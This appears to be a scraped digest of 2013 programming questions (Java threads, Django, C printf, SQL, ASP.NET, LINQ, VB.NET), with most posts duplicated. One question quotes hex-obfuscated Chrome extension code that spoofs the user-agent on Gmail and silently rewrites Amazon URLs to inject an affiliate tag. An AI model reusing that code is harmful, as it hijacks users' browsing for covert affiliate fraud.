DataSet data = new DataSet();
int i = data.Tables["quant_level1"].Rows.Count;
Label2.Text = i.ToString();
Print Natural Sequence with help of 2 threads(1 is printing even and 2'nd is printing odd)
Print Natural Sequence with help of 2 threads(1 is printing even and 2'nd
is printing odd)
I have tired this question, and i ended up with some doubts. Please help
me out
Doubt : If any thread is in wait state , and no other thread is notifying
that one , so will it never come to and end ? Even after using wait(long
milliseconds).
For Code : What my requirement is from the code(Please Refer My Code) :
a : Should print "Even Thread Finish " and "Odd Thread Finish" (Order is
not imp , but must print both)
b: Also in main function should print " Exit Main Thread"
What is actually happening : After lot of runs , in some cases , it prints
"Even Thread Finish" then hangs here or vice-versa. In some cases it
prints both.
Also it never prints "Exit Main Thread".
So How to modify code , so it must print all 3 statement .(Of Course "Exit
Main.. " in last , as i am using join for main.)
In brief : Main start-> t1 start -> t2 start ,, then i need t2/t1 finish
-> main finish.
Please help me out for this problem
Here is my code :
import javax.sql.CommonDataSource;
public class ThreadTest {
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
Share commonObj = new Share();
Thread even = new Thread(new EvenThread(commonObj));
Thread odd = new Thread(new OddThread(commonObj));
even.start();
odd.start();
try {
Thread.currentThread().join();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("Exit Main Thread");
}
}
class EvenThread implements Runnable{
private Share commShare;
public EvenThread(Share obj) {
// TODO Auto-generated constructor stub
this.commShare = obj;
}
private int number = 2;
public void run() {
System.out.println("Even Thread start");
while(number <= 50){
if(commShare.flag == true){
System.out.println("Even Thread" + number);
number+=2;
commShare.flag = false;
synchronized (commShare) {
try {
commShare.notify();
commShare.wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
commShare.notify();
}
}else{
synchronized (commShare) {
try {
commShare.notify();
commShare.wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
commShare.notify();
}
}
}
System.out.println("Even Thread Finish");
}
}
class OddThread implements Runnable{
private int number = 1;
private Share commShare;
public OddThread(Share obj) {
// TODO Auto-generated constructor stub
this.commShare = obj;
}
public void run() {
System.out.println("Odd Thread start");
while(number <=50 ){
if(commShare.flag == false){
System.out.println("Odd Thread :" + number);
number+=2;
commShare.flag = true;
synchronized (commShare) {
try {
commShare.notify();
commShare.wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
commShare.notify();
}
}
}
System.out.println("Odd Thread Finish");
}
}
class Share {
Share sharedObj ;
public boolean flag = false;
}
is printing odd)
I have tired this question, and i ended up with some doubts. Please help
me out
Doubt : If any thread is in wait state , and no other thread is notifying
that one , so will it never come to and end ? Even after using wait(long
milliseconds).
For Code : What my requirement is from the code(Please Refer My Code) :
a : Should print "Even Thread Finish " and "Odd Thread Finish" (Order is
not imp , but must print both)
b: Also in main function should print " Exit Main Thread"
What is actually happening : After lot of runs , in some cases , it prints
"Even Thread Finish" then hangs here or vice-versa. In some cases it
prints both.
Also it never prints "Exit Main Thread".
So How to modify code , so it must print all 3 statement .(Of Course "Exit
Main.. " in last , as i am using join for main.)
In brief : Main start-> t1 start -> t2 start ,, then i need t2/t1 finish
-> main finish.
Please help me out for this problem
Here is my code :
import javax.sql.CommonDataSource;
public class ThreadTest {
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
Share commonObj = new Share();
Thread even = new Thread(new EvenThread(commonObj));
Thread odd = new Thread(new OddThread(commonObj));
even.start();
odd.start();
try {
Thread.currentThread().join();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
System.out.println("Exit Main Thread");
}
}
class EvenThread implements Runnable{
private Share commShare;
public EvenThread(Share obj) {
// TODO Auto-generated constructor stub
this.commShare = obj;
}
private int number = 2;
public void run() {
System.out.println("Even Thread start");
while(number <= 50){
if(commShare.flag == true){
System.out.println("Even Thread" + number);
number+=2;
commShare.flag = false;
synchronized (commShare) {
try {
commShare.notify();
commShare.wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
commShare.notify();
}
}else{
synchronized (commShare) {
try {
commShare.notify();
commShare.wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
commShare.notify();
}
}
}
System.out.println("Even Thread Finish");
}
}
class OddThread implements Runnable{
private int number = 1;
private Share commShare;
public OddThread(Share obj) {
// TODO Auto-generated constructor stub
this.commShare = obj;
}
public void run() {
System.out.println("Odd Thread start");
while(number <=50 ){
if(commShare.flag == false){
System.out.println("Odd Thread :" + number);
number+=2;
commShare.flag = true;
synchronized (commShare) {
try {
commShare.notify();
commShare.wait();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
commShare.notify();
}
}
}
System.out.println("Odd Thread Finish");
}
}
class Share {
Share sharedObj ;
public boolean flag = false;
}
Friday, 13 September 2013
django loop threw objects and change there values
django loop threw objects and change there values
I have my model set up so that when a liquor is added to a store, it gives
it it's own in-store ID based on the count. I've called this the SPI. The
addition function works fine, it properly assigns the correct SPI. But I'm
having trouble with the delete function. When an object is deleted from
the table, I need it to loop through the remaining objects and set there
SPI to one less. However I keep getting an error StoreLiquor matching
query does not exist. Lookup parameters were {'StoreLiquorID': 7,
'storeID': <Store: test store>} Am I not doing the query correctly?
The models:
class Store(models.Model):
StoreID = models.AutoField(primary_key=True)
user = models.ManyToManyField(User)
StoreName = models.CharField('Store Name', max_length=30)
(other things here too but probably not necessary for this case)
class StoreLiquor(models.Model):
StoreLiquorID = models.AutoField(primary_key=True)
liquorID = models.ForeignKey(Liquor)
storeID = models.ForeignKey(Store)
StorePrice = models.DecimalField('Store Price', max_digits=5,
decimal_places=2)
SPI = models.PositiveIntegerField('SPI', max_length=10)
The view:
def delete(request, liquor_id, store_id):
storeID = Store.objects.get(StoreID=store_id)
StLiquor = StoreLiquor.objects.get(storeID=store_id,
StoreLiquorID=liquor_id)
LiqSPI = StLiquor.SPI
SPIcount = StoreLiquor.objects.filter(storeID=store_id).count()
for newSPI in range(LiqSPI, SPIcount):
newStLiquor = StoreLiquor.objects.get(storeID=storeID,
StoreLiquorID=newSPI)
newStLiquor.SPI = newSPI-1
StLiquor.delete()
return HttpResponseRedirect(request.META.get('HTTP_REFERER'))
I have my model set up so that when a liquor is added to a store, it gives
it it's own in-store ID based on the count. I've called this the SPI. The
addition function works fine, it properly assigns the correct SPI. But I'm
having trouble with the delete function. When an object is deleted from
the table, I need it to loop through the remaining objects and set there
SPI to one less. However I keep getting an error StoreLiquor matching
query does not exist. Lookup parameters were {'StoreLiquorID': 7,
'storeID': <Store: test store>} Am I not doing the query correctly?
The models:
class Store(models.Model):
StoreID = models.AutoField(primary_key=True)
user = models.ManyToManyField(User)
StoreName = models.CharField('Store Name', max_length=30)
(other things here too but probably not necessary for this case)
class StoreLiquor(models.Model):
StoreLiquorID = models.AutoField(primary_key=True)
liquorID = models.ForeignKey(Liquor)
storeID = models.ForeignKey(Store)
StorePrice = models.DecimalField('Store Price', max_digits=5,
decimal_places=2)
SPI = models.PositiveIntegerField('SPI', max_length=10)
The view:
def delete(request, liquor_id, store_id):
storeID = Store.objects.get(StoreID=store_id)
StLiquor = StoreLiquor.objects.get(storeID=store_id,
StoreLiquorID=liquor_id)
LiqSPI = StLiquor.SPI
SPIcount = StoreLiquor.objects.filter(storeID=store_id).count()
for newSPI in range(LiqSPI, SPIcount):
newStLiquor = StoreLiquor.objects.get(storeID=storeID,
StoreLiquorID=newSPI)
newStLiquor.SPI = newSPI-1
StLiquor.delete()
return HttpResponseRedirect(request.META.get('HTTP_REFERER'))
How would I print the largest possible float and double in C?
How would I print the largest possible float and double in C?
For the following code,
#include <stdio.h>
#include <limits.h>
#include <float.h>
main() {
printf("double max = %??\n", DBL_MAX);
printf("double min = %??\n", DBL_MIN);
printf("double epsilon = %??\n", DBL_EPSILON);
printf("float epsilon = %??\n", FLT_EPSILON);
printf("float max = %??\n", FLT_MAX);
printf("float min = %??\n\n", FLT_MIN);
}
what specifiers would I have to use in place of the ??'s in order for
printf to display the various quantities as appropriately-sized decimal
numbers?
For the following code,
#include <stdio.h>
#include <limits.h>
#include <float.h>
main() {
printf("double max = %??\n", DBL_MAX);
printf("double min = %??\n", DBL_MIN);
printf("double epsilon = %??\n", DBL_EPSILON);
printf("float epsilon = %??\n", FLT_EPSILON);
printf("float max = %??\n", FLT_MAX);
printf("float min = %??\n\n", FLT_MIN);
}
what specifiers would I have to use in place of the ??'s in order for
printf to display the various quantities as appropriately-sized decimal
numbers?
How can I deobfuscate this javascript?
How can I deobfuscate this javascript?
I have the following code and I am trying to deobfuscate it to readable
javascript. I tried jsbeautifier but it doesn't work. I found a lot of
links to various deobfuscators, but either they don't work or they are
only for Linux. So how do I deobfuscate this code so it is readable
javascript?
var
_0xc819=["\x72\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x73","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6E\x61\x6D\x65","\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74","\x76\x61\x6C\x75\x65","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x34\x2E\x30\x20\x28\x63\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x3B\x20\x4D\x53\x49\x45\x20\x38\x2E\x30\x3B\x20\x57\x69\x6E\x64\x6F\x77\x73\x20\x4E\x54\x20\x36\x2E\x30\x29","\x66\x6F\x72\x45\x61\x63\x68","\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x61\x69\x6C\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x2F\x2A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x69\x6C\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x2F\x2A","\x6D\x61\x69\x6E\x5F\x66\x72\x61\x6D\x65","\x73\x75\x62\x5F\x66\x72\x61\x6D\x65","\x62\x6C\x6F\x63\x6B\x69\x6E\x67","\x61\x64\x64\x4C\x69\x73\x74\x65\x6E\x65\x72","\x6F\x6E\x42\x65\x66\x6F\x72\x65\x53\x65\x6E\x64\x48\x65\x61\x64\x65\x72\x73","\x77\x65\x62\x52\x65\x71\x75\x65\x73\x74"];chrome[_0xc819[14]][_0xc819[13]][_0xc819[12]](function
(_0xb56fx1){var
_0xb56fx2=_0xb56fx1[_0xc819[0]];_0xb56fx2[_0xc819[6]](function
(_0xb56fx3,_0xb56fx4){if(_0xb56fx3[_0xc819[2]][_0xc819[1]]()==_0xc819[3]){_0xb56fx3[_0xc819[4]]=_0xc819[5];}
;} );return {requestHeaders:_0xb56fx2};}
,{urls:[_0xc819[7],_0xc819[8]],types:[_0xc819[9],_0xc819[10]]},[_0xc819[11],_0xc819[0]]);
chrome.webRequest.onBeforeRequest.addListener( function(info) { var url =
info.url; var mt = "\x70\x72\x6F\x64\x75\x74\x69\x64\x2D\x32\x30"; var te
= '\x74\x61\x67\x3D'; var site =
"\x61\x6D\x61\x7A\x6F\x6E\x2E\x63\x6F\x6D"; if(url ==
'http://www.'+site+'/') { return; } if(url == 'https://www.'+site+'/') {
return; } if(
url.indexOf("\x2F\x67\x70\x2F\x63\x61\x72\x74\x2F\x76\x69\x65\x77\x2E\x68\x74\x6D\x6C")
> 0 ) { return; } if( ! ( url.indexOf("\x2F\x64\x70\x2F") > 0 ||
url.indexOf("\x2F\x67\x70\x2F") > 0 ||
url.indexOf("\x2F\x72\x65\x67\x69\x73\x74\x72\x79\x2F") > 0 ) ) { return;
} var regExp = /([\&\?]?\x74\x61\x67\x3D)[^\&]+/gi; var c =
url.match(regExp); if( c && c.length ) { } if( c && c.length == 1 ) { if(
url.indexOf(mt) >= 0 ) { return; } url = url.replace(regExp, '$1'+mt);
return {redirectUrl: url }; } else if( c && c.length > 1 ) { url =
url.replace(regExp, ''); } if( url.indexOf(mt) < 0 ) { var extra = ''; if(
url.indexOf('&') >= 0 ) { url = url.replace('&','&'+te+mt+'&'); } else if(
url.indexOf('?') >= 0 ) { url = url.replace('?','?'+te+mt+'&'); } else {
url += '?'+te+mt; } return {redirectUrl: url }; } return; }, { urls: [
"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x6D\x61\x7A\x6F\x6E\x2E\x63\x6F\x6D\x2F\x2A",
"\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x6D\x61\x7A\x6F\x6E\x2E\x63\x6F\x6D\x2F\x2A",
], types: ["main_frame"] }, ["blocking"]);
I have the following code and I am trying to deobfuscate it to readable
javascript. I tried jsbeautifier but it doesn't work. I found a lot of
links to various deobfuscators, but either they don't work or they are
only for Linux. So how do I deobfuscate this code so it is readable
javascript?
var
_0xc819=["\x72\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72\x73","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6E\x61\x6D\x65","\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74","\x76\x61\x6C\x75\x65","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x34\x2E\x30\x20\x28\x63\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x3B\x20\x4D\x53\x49\x45\x20\x38\x2E\x30\x3B\x20\x57\x69\x6E\x64\x6F\x77\x73\x20\x4E\x54\x20\x36\x2E\x30\x29","\x66\x6F\x72\x45\x61\x63\x68","\x68\x74\x74\x70\x3A\x2F\x2F\x6D\x61\x69\x6C\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x2F\x2A","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x69\x6C\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x2F\x2A","\x6D\x61\x69\x6E\x5F\x66\x72\x61\x6D\x65","\x73\x75\x62\x5F\x66\x72\x61\x6D\x65","\x62\x6C\x6F\x63\x6B\x69\x6E\x67","\x61\x64\x64\x4C\x69\x73\x74\x65\x6E\x65\x72","\x6F\x6E\x42\x65\x66\x6F\x72\x65\x53\x65\x6E\x64\x48\x65\x61\x64\x65\x72\x73","\x77\x65\x62\x52\x65\x71\x75\x65\x73\x74"];chrome[_0xc819[14]][_0xc819[13]][_0xc819[12]](function
(_0xb56fx1){var
_0xb56fx2=_0xb56fx1[_0xc819[0]];_0xb56fx2[_0xc819[6]](function
(_0xb56fx3,_0xb56fx4){if(_0xb56fx3[_0xc819[2]][_0xc819[1]]()==_0xc819[3]){_0xb56fx3[_0xc819[4]]=_0xc819[5];}
;} );return {requestHeaders:_0xb56fx2};}
,{urls:[_0xc819[7],_0xc819[8]],types:[_0xc819[9],_0xc819[10]]},[_0xc819[11],_0xc819[0]]);
chrome.webRequest.onBeforeRequest.addListener( function(info) { var url =
info.url; var mt = "\x70\x72\x6F\x64\x75\x74\x69\x64\x2D\x32\x30"; var te
= '\x74\x61\x67\x3D'; var site =
"\x61\x6D\x61\x7A\x6F\x6E\x2E\x63\x6F\x6D"; if(url ==
'http://www.'+site+'/') { return; } if(url == 'https://www.'+site+'/') {
return; } if(
url.indexOf("\x2F\x67\x70\x2F\x63\x61\x72\x74\x2F\x76\x69\x65\x77\x2E\x68\x74\x6D\x6C")
> 0 ) { return; } if( ! ( url.indexOf("\x2F\x64\x70\x2F") > 0 ||
url.indexOf("\x2F\x67\x70\x2F") > 0 ||
url.indexOf("\x2F\x72\x65\x67\x69\x73\x74\x72\x79\x2F") > 0 ) ) { return;
} var regExp = /([\&\?]?\x74\x61\x67\x3D)[^\&]+/gi; var c =
url.match(regExp); if( c && c.length ) { } if( c && c.length == 1 ) { if(
url.indexOf(mt) >= 0 ) { return; } url = url.replace(regExp, '$1'+mt);
return {redirectUrl: url }; } else if( c && c.length > 1 ) { url =
url.replace(regExp, ''); } if( url.indexOf(mt) < 0 ) { var extra = ''; if(
url.indexOf('&') >= 0 ) { url = url.replace('&','&'+te+mt+'&'); } else if(
url.indexOf('?') >= 0 ) { url = url.replace('?','?'+te+mt+'&'); } else {
url += '?'+te+mt; } return {redirectUrl: url }; } return; }, { urls: [
"\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x6D\x61\x7A\x6F\x6E\x2E\x63\x6F\x6D\x2F\x2A",
"\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x6D\x61\x7A\x6F\x6E\x2E\x63\x6F\x6D\x2F\x2A",
], types: ["main_frame"] }, ["blocking"]);
how to convert this date form to unix time
how to convert this date form to unix time
I have this date form
Thu, 12 Sep 2013 14:49:25 +0100
I am thinking of using php internal function strtotime. I was trying to
split and relocate each string however it is too much lines. If you have
any better way to do it. Please let me know.
Thank you in advance.
I have this date form
Thu, 12 Sep 2013 14:49:25 +0100
I am thinking of using php internal function strtotime. I was trying to
split and relocate each string however it is too much lines. If you have
any better way to do it. Please let me know.
Thank you in advance.
Is there an international movie showtimes API or data source?
Is there an international movie showtimes API or data source?
I am currently working on a mobile application and would like to feature
showtimes from many different countries. We are currently using the TMS
API (http://developer.tmsapi.com/docs/data_v1/) for the U.S. and Canada,
but would also like to feature a wider range of countries.
I know this can easily be done with HTML scraping, but since this is a
commercial project, I don't think that will be the best decision.
Any help guys? Thanks in advance!
I am currently working on a mobile application and would like to feature
showtimes from many different countries. We are currently using the TMS
API (http://developer.tmsapi.com/docs/data_v1/) for the U.S. and Canada,
but would also like to feature a wider range of countries.
I know this can easily be done with HTML scraping, but since this is a
commercial project, I don't think that will be the best decision.
Any help guys? Thanks in advance!
SQL Query to Find Matching Records but Excluding those that Match Second Criteria
SQL Query to Find Matching Records but Excluding those that Match Second
Criteria
I have a SQL database and I want to locate all the records that match one
criteria, but exclude from that set of results the records that match a
second criteria. More specifically -
Table 'Documents' with Fields = 'DocID', 'Description', 'SignID'
Table 'Signatures' with Fields = 'SignID', 'SignatoryName'
I want to find all the Documents that have been signed by a specific
Signatory e.g.
SELECT d.DocID, s.SignID
FROM Documents AS d
INNER JOIN Signatures AS s ON d.SignID = s.SignID
WHERE s.SignatoryName = 'Search Name Here';
However, many documents are signed by more than one person (i.e. Documents
> Signatures is One-to-Many). I want to exclude those documents which have
been signed by anyone else, other than the specific Signatory in the above
query. Or put another way, I want to find all those Documents that have
ONLY been signed by the specific Signatory.
But I'm not sure how to revise my query to achieve this objective.
Criteria
I have a SQL database and I want to locate all the records that match one
criteria, but exclude from that set of results the records that match a
second criteria. More specifically -
Table 'Documents' with Fields = 'DocID', 'Description', 'SignID'
Table 'Signatures' with Fields = 'SignID', 'SignatoryName'
I want to find all the Documents that have been signed by a specific
Signatory e.g.
SELECT d.DocID, s.SignID
FROM Documents AS d
INNER JOIN Signatures AS s ON d.SignID = s.SignID
WHERE s.SignatoryName = 'Search Name Here';
However, many documents are signed by more than one person (i.e. Documents
> Signatures is One-to-Many). I want to exclude those documents which have
been signed by anyone else, other than the specific Signatory in the above
query. Or put another way, I want to find all those Documents that have
ONLY been signed by the specific Signatory.
But I'm not sure how to revise my query to achieve this objective.
What HyperLink has been clicked in c# asp.net?
What HyperLink has been clicked in c# asp.net?
I am making an asp.net web application which has to play videos. In my
start page I have a hyperlink for each video. All the hyperlinks are
identical, except their names. This Means they all link to the same page.
Im interrested in knowing wether there is an option to know which
hyperlink was clicked. I would like to retrieve the name of the hyperlink.
My code for generating the hyperlinks looks as follows:
foreach (FileInfo i in corFiles)
{
HyperLink t = new HyperLink();
t.Text = i.Name;
t.NavigateUrl = "page.aspx";
CorrectArray.Add(t);
}
return CorrectArray;
The text of the hyperlink is Unique to a video, which Means I can change
the src destination of the video to play based on the text name. So the
question goes as follows. Are there any way of retrieving the text name of
the hyperlink when it is clicked by the user?
I hope you can help! Thanks in advance.
Regards Magnus
I am making an asp.net web application which has to play videos. In my
start page I have a hyperlink for each video. All the hyperlinks are
identical, except their names. This Means they all link to the same page.
Im interrested in knowing wether there is an option to know which
hyperlink was clicked. I would like to retrieve the name of the hyperlink.
My code for generating the hyperlinks looks as follows:
foreach (FileInfo i in corFiles)
{
HyperLink t = new HyperLink();
t.Text = i.Name;
t.NavigateUrl = "page.aspx";
CorrectArray.Add(t);
}
return CorrectArray;
The text of the hyperlink is Unique to a video, which Means I can change
the src destination of the video to play based on the text name. So the
question goes as follows. Are there any way of retrieving the text name of
the hyperlink when it is clicked by the user?
I hope you can help! Thanks in advance.
Regards Magnus
Thursday, 12 September 2013
Find unique user across different browser in mobile device
Find unique user across different browser in mobile device
I want to trace the mobile user who are all enter into my app across
different browser using JS since I doesn't have native program
knowlegde.(Java or Objecttive C).Is there any plugin available or any
methods presents in javascript. I have done device fingerprinting. It
gives details in a browser and cannot help to trace user across differ
browser.
I want to trace the mobile user who are all enter into my app across
different browser using JS since I doesn't have native program
knowlegde.(Java or Objecttive C).Is there any plugin available or any
methods presents in javascript. I have done device fingerprinting. It
gives details in a browser and cannot help to trace user across differ
browser.
tfs build 2010 add custom editor
tfs build 2010 add custom editor
i add a custom editor for our custom process parameter but and add the
assembly to "version control path to custom assemblies" and when i edit
the build definition the editor not show, why?
when i add the assembly into The Visual Studio probing path it work
but i don't want to copy menualy the assembly to all cllints that use this
build and so i want to use the assembly from the source control but then
it don't work
i need i sulotion
my editor code:
using System;
using System.ComponentModel;
using System.Drawing.Design;
using System.IO;
using System.Management;
using System.Windows.Forms;
namespace SVBuild
{
public class FolderBrowserEditor : UITypeEditor
{
public override UITypeEditorEditStyle
GetEditStyle(ITypeDescriptorContext context)
{
if (context != null)
return UITypeEditorEditStyle.Modal;
return UITypeEditorEditStyle.None;
}
public override object EditValue(ITypeDescriptorContext context,
IServiceProvider provider, object value)
{
FolderBrowserDialog fd;
string path = "";
string realPath = "";
if (context == null || provider == null || context.Instance == null)
return base.EditValue(provider, value);
fd = new FolderBrowserDialog();
fd.ShowNewFolderButton = true;
fd.Description = "Select Folder";
fd.RootFolder = Environment.SpecialFolder.MyComputer;
if (fd.ShowDialog() == DialogResult.OK)
{
path = fd.SelectedPath;
realPath = ResolveToUNC(path);
}
return realPath;
}
#region ResolveToUNC
/// <summary>Resolves the given path to a full UNC path, or full local
drive path.</summary>
/// <param name="pPath"></param>
/// <returns></returns>
private string ResolveToUNC(string pPath)
{
if (pPath.StartsWith(@"\\")) { return pPath; }
string root = ResolveToRootUNC(pPath);
if (pPath.StartsWith(root))
{
return pPath; // Local drive, no resolving occurred
}
else
{
return pPath.Replace(GetDriveLetter(pPath), root);
}
}
/// <summary>Resolves the given path to a root UNC path, or root local
drive path.</summary>
/// <param name="pPath"></param>
/// <returns>\\server\share OR C:\</returns>
private string ResolveToRootUNC(string pPath)
{
ManagementObject mo = new ManagementObject();
if (pPath.StartsWith(@"\\")) { return
Directory.GetDirectoryRoot(pPath); }
// Get just the drive letter for WMI call
string driveletter = GetDriveLetter(pPath);
mo.Path = new
ManagementPath(string.Format("Win32_LogicalDisk='{0}'",
driveletter));
// Get the data we need
uint DriveType = Convert.ToUInt32(mo["DriveType"]);
string NetworkRoot = Convert.ToString(mo["ProviderName"]);
mo = null;
// Return the root UNC path if network drive, otherwise return the
root path to the local drive
if (DriveType == 4)
{
return NetworkRoot;
}
else
{
return driveletter + Path.DirectorySeparatorChar;
}
}
/// <summary>Checks if the given path is on a network drive.</summary>
/// <param name="pPath"></param>
/// <returns></returns>
private bool isNetworkDrive(string pPath)
{
ManagementObject mo = new ManagementObject();
if (pPath.StartsWith(@"\\")) { return true; }
// Get just the drive letter for WMI call
string driveletter = GetDriveLetter(pPath);
mo.Path = new
ManagementPath(string.Format("Win32_LogicalDisk='{0}'",
driveletter));
// Get the data we need
uint DriveType = Convert.ToUInt32(mo["DriveType"]);
mo = null;
return DriveType == 4;
}
/// <summary>Given a path will extract just the drive letter with
volume separator.</summary>
/// <param name="pPath"></param>
/// <returns>C:</returns>
private string GetDriveLetter(string pPath)
{
if (pPath.StartsWith(@"\\")) { throw new ArgumentException("A UNC
path was passed to GetDriveLetter"); }
return
Directory.GetDirectoryRoot(pPath).Replace(Path.DirectorySeparatorChar.ToString(),
"");
}
i add a custom editor for our custom process parameter but and add the
assembly to "version control path to custom assemblies" and when i edit
the build definition the editor not show, why?
when i add the assembly into The Visual Studio probing path it work
but i don't want to copy menualy the assembly to all cllints that use this
build and so i want to use the assembly from the source control but then
it don't work
i need i sulotion
my editor code:
using System;
using System.ComponentModel;
using System.Drawing.Design;
using System.IO;
using System.Management;
using System.Windows.Forms;
namespace SVBuild
{
public class FolderBrowserEditor : UITypeEditor
{
public override UITypeEditorEditStyle
GetEditStyle(ITypeDescriptorContext context)
{
if (context != null)
return UITypeEditorEditStyle.Modal;
return UITypeEditorEditStyle.None;
}
public override object EditValue(ITypeDescriptorContext context,
IServiceProvider provider, object value)
{
FolderBrowserDialog fd;
string path = "";
string realPath = "";
if (context == null || provider == null || context.Instance == null)
return base.EditValue(provider, value);
fd = new FolderBrowserDialog();
fd.ShowNewFolderButton = true;
fd.Description = "Select Folder";
fd.RootFolder = Environment.SpecialFolder.MyComputer;
if (fd.ShowDialog() == DialogResult.OK)
{
path = fd.SelectedPath;
realPath = ResolveToUNC(path);
}
return realPath;
}
#region ResolveToUNC
/// <summary>Resolves the given path to a full UNC path, or full local
drive path.</summary>
/// <param name="pPath"></param>
/// <returns></returns>
private string ResolveToUNC(string pPath)
{
if (pPath.StartsWith(@"\\")) { return pPath; }
string root = ResolveToRootUNC(pPath);
if (pPath.StartsWith(root))
{
return pPath; // Local drive, no resolving occurred
}
else
{
return pPath.Replace(GetDriveLetter(pPath), root);
}
}
/// <summary>Resolves the given path to a root UNC path, or root local
drive path.</summary>
/// <param name="pPath"></param>
/// <returns>\\server\share OR C:\</returns>
private string ResolveToRootUNC(string pPath)
{
ManagementObject mo = new ManagementObject();
if (pPath.StartsWith(@"\\")) { return
Directory.GetDirectoryRoot(pPath); }
// Get just the drive letter for WMI call
string driveletter = GetDriveLetter(pPath);
mo.Path = new
ManagementPath(string.Format("Win32_LogicalDisk='{0}'",
driveletter));
// Get the data we need
uint DriveType = Convert.ToUInt32(mo["DriveType"]);
string NetworkRoot = Convert.ToString(mo["ProviderName"]);
mo = null;
// Return the root UNC path if network drive, otherwise return the
root path to the local drive
if (DriveType == 4)
{
return NetworkRoot;
}
else
{
return driveletter + Path.DirectorySeparatorChar;
}
}
/// <summary>Checks if the given path is on a network drive.</summary>
/// <param name="pPath"></param>
/// <returns></returns>
private bool isNetworkDrive(string pPath)
{
ManagementObject mo = new ManagementObject();
if (pPath.StartsWith(@"\\")) { return true; }
// Get just the drive letter for WMI call
string driveletter = GetDriveLetter(pPath);
mo.Path = new
ManagementPath(string.Format("Win32_LogicalDisk='{0}'",
driveletter));
// Get the data we need
uint DriveType = Convert.ToUInt32(mo["DriveType"]);
mo = null;
return DriveType == 4;
}
/// <summary>Given a path will extract just the drive letter with
volume separator.</summary>
/// <param name="pPath"></param>
/// <returns>C:</returns>
private string GetDriveLetter(string pPath)
{
if (pPath.StartsWith(@"\\")) { throw new ArgumentException("A UNC
path was passed to GetDriveLetter"); }
return
Directory.GetDirectoryRoot(pPath).Replace(Path.DirectorySeparatorChar.ToString(),
"");
}
ZendFramework: Load a part of phtml per Ajax
ZendFramework: Load a part of phtml per Ajax
It's possible to get a part of a phtml per Ajax? The phmtl is a form and I
just need to load a part of this form dynamicly. Zend Version 1.12
It's possible to get a part of a phtml per Ajax? The phmtl is a form and I
just need to load a part of this form dynamicly. Zend Version 1.12
Combine and sort 2 tables
Combine and sort 2 tables
I have 2 DataTables (in a DataSet)
Table 1:
ID|ident |Pos
------------------
0 | id425 | 0
1 | id123 | 3
Table 2:
ID|ident |default|Pos
---------------------------
0 | id1 | 6 |2
1 | id180 | 6 |1
Now i want to do a sort with LINQ that produces the following output:
Result
ident|Pos
-------------
id425|0
id180|1
id1 |2
id123|3
Now im struggeling around with LINQ to achieve this with one linq query. I
am new to LINQ so i hope somone has a hint for me. My problem is how to
sort the two tables and combine the result. My code so far is :
var query =
from t1 in dataSet.Tables[tableOne].AsEnumerable()
from t2 in dataSet.Tables[tableTwo].AsEnumerable()
orderby t1[Pos]
orderby t2[Pos]
select new {t1,t2};
but that doesn't work.
I have 2 DataTables (in a DataSet)
Table 1:
ID|ident |Pos
------------------
0 | id425 | 0
1 | id123 | 3
Table 2:
ID|ident |default|Pos
---------------------------
0 | id1 | 6 |2
1 | id180 | 6 |1
Now i want to do a sort with LINQ that produces the following output:
Result
ident|Pos
-------------
id425|0
id180|1
id1 |2
id123|3
Now im struggeling around with LINQ to achieve this with one linq query. I
am new to LINQ so i hope somone has a hint for me. My problem is how to
sort the two tables and combine the result. My code so far is :
var query =
from t1 in dataSet.Tables[tableOne].AsEnumerable()
from t2 in dataSet.Tables[tableTwo].AsEnumerable()
orderby t1[Pos]
orderby t2[Pos]
select new {t1,t2};
but that doesn't work.
da.update error when updating database VB.NET Access 2010
da.update error when updating database VB.NET Access 2010
Hi I am a beginner at databases with vb.net and am trying to update a
password(field) in a database and I keep getting an error
"Syntax error in query expression '((UID = ?) AND ((? = 1 AND Username IS
NULL) OR (Username = ?)) AND ((? = 1 AND Firstname} IS NULL) OR
(Firstname} = ?)) AND ((? = 1 AND Surname IS NULL) OR (Surname = ?)) AND
((? = 1 AND UPassword IS NULL) OR (UPassword = ?)) AND ((? = 1 AND DOB IS
NULL)'."
here is the code for the form It corresponds to and happens when the reset
button is clicked.
Public Class ResetPW
Dim con As New OleDb.OleDbConnection
Dim ds As New DataSet
Dim sql As String
Dim dbProvider As String
Dim dbSource As String
Dim da As New OleDb.OleDbDataAdapter
